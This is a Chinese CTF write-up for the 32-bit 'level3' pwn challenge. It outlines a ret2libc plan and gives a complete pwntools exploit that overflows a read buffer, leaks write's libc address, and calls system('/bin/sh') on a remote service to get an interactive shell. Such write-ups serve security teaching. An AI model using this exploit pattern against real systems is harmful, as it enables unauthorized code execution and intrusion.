level3

image.png

0x00 filechecksec

image.png

0x01 ida查看

image.png
  • 明显的read溢出
  • 没有system,没有/bin/sh,但是有readwrite,很明显的ret2libc

0x02 思路

  • 第一次leak write的地址
  • 根据write地址计算出libc_base
  • 找到system/bin/sh地址
  • 第二次执行system('/bin/sh')

0x03 完整exp

from pwn import *
from LibcSearcher import *

local=0
pc='./level3'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./level3')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p)
else:
    remote_addr=['111.198.29.45', 48570]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    main_addr = 0x08048484
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    p.recv()

    payload = ''
    payload += 'a'*0x88
    payload += 'fake'
    payload += p32(write_plt)
    payload += p32(main_addr)
    payload += p32(1)
    payload += p32(write_got)
    payload += p32(4)
    sl(payload)

    write_leak = u32(rv(4))
    print "write_leak=",hex(write_leak)

    libc = LibcSearcher('write', write_leak)
    #libc_base = write_leak - libc.symbols['write']
    libc_base = write_leak - libc.dump('write')
    print "libc_base=",hex(libc_base)

    #system_addr = libc_base + libc.symbols['system']
    system_addr = libc_base + libc.dump('system')
    print "system_addr=",hex(system_addr)

    #binsh = libc.search("/bin/sh").next()
    bin_sh_addr = libc_base + libc.dump('str_bin_sh')
    print "bin_sh_addr=",hex(bin_sh_addr)

    p.recv()

    payload1 = 'a'*0x88
    payload1 += 'fake'
    payload1 += p32(system_addr)
    payload1 += 'fake'
    payload1 += p32(bin_sh_addr)
    sl(payload1)

    p.interactive()

0x04 结果

image.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 以前并没有对libc这些太理解,刚好借助这道题把基本思路整理下。 过程: 出题人很厉害,只通过改变些许地方就能改...
    喝豆腐脑加糖阅读 4,935评论 0 2
  • ida打开checksec看一下,开启了nx,不想shellcode什么的了。反编译一下看看发现write也有,r...
    poxlove3阅读 3,870评论 0 0
  • 这个题目乍一看和level2一模一样,不过给的文件里面多给了我们一个libc动态链接库。checksec看一下,依...
    poxlove3阅读 5,025评论 0 0
  • 你懂吗 那些纸醉 你不懂 那个少年 台班的喜剧 多少心酸和泪滴 他搂一下而已
    小小仲马阅读 1,365评论 0 3
  • 来自权威机构WGNS的前言情报,2017年春夏市场,残缺的花卉设计大热,烘托出手工艺创作过程中展现出的美感。 细节...
    蜘蜘纺阅读 1,007评论 0 0